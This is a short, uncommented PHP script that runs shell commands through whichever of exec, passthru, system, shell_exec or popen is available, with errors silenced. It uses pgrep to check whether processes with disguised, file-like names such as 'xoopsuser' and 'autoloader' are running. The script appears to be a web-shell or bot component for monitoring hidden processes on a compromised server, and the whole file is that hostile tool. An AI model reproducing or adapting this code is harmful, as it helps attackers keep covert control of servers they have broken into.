<?php   $files = ['user_list_emails','contactpage','cat2groupperm','qihoo.inc','acc_inv_tmpl','xoopsuser','english_gb','table.vat','addtemplateassoc','com_weblinks','modifier.indent','headquarters','object.recon','link_filters','testcache','manufacturers','punbb115.inc','view.html','flags_install','odudecard','ParseHTML','authentication','shoppingcart','CYEC06_3winners','header.inc','powershell','pickpocket','screen_03','modmisc.inc','autoloader']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }